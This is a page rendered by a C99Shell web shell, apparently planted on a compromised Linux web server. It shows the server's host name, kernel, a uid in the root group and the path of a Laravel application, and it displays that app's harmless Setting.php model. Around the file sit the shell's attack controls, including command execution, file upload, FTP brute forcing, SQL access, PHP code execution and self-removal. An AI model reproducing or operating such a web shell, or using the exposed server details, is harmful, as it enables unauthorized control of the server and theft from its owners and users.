!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/app/Models/   drwxr-xr-x
Free 28.31 GB of 117.98 GB (24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Setting.php (1.75 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Models;

use 
Illuminate\Database\Eloquent\Factories\HasFactory;
use 
Illuminate\Database\Eloquent\Model;

class 
Setting extends Model
{
    use 
HasFactory;

    protected 
$guarded = [];

    protected 
$casts = [
        
'search_engine_indexing' => 'boolean',
        
'google_analytics' => 'boolean',
        
'facebook_pixel' => 'boolean',
    ];

    protected 
$appends = ['logo_image_url''white_logo_url''favicon_image_url''loader_image_url''app_pwa_icon_url'];

    public static function 
boot()
    {
        
parent::boot();

        
self::created(function ($model) {
            
forgetCache('setting');
        });
        
self::updated(function ($model) {
            
forgetCache('setting');
        });
    }

    public function 
getLogoImageUrlAttribute()
    {
        if (
is_null($this->logo_image)) {
            return 
asset('frontend/images/logo.svg');
        }

        return 
asset($this->logo_image);
    }

    public function 
getWhiteLogoUrlAttribute()
    {
        if (
is_null($this->white_logo)) {
            return 
asset('backend/image/logo-white.svg');
        }

        return 
asset($this->white_logo);
    }

    public function 
getFaviconImageUrlAttribute()
    {
        if (
is_null($this->favicon_image)) {
            return 
asset('backend/image/favicon.png');
        }

        return 
asset($this->favicon_image);
    }

    public function 
getAppPwaIconUrlAttribute()
    {
        if (
is_null($this->app_pwa_icon)) {
            return 
asset('/logo.png');
        }

        return 
asset($this->app_pwa_icon);
    }

    public function 
getLoaderImageUrlAttribute()
    {
        if (
is_null($this->loader_image)) {
            return 
asset('frontend/images/logo.svg');
        }

        return 
asset($this->loader_image);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0035 ]--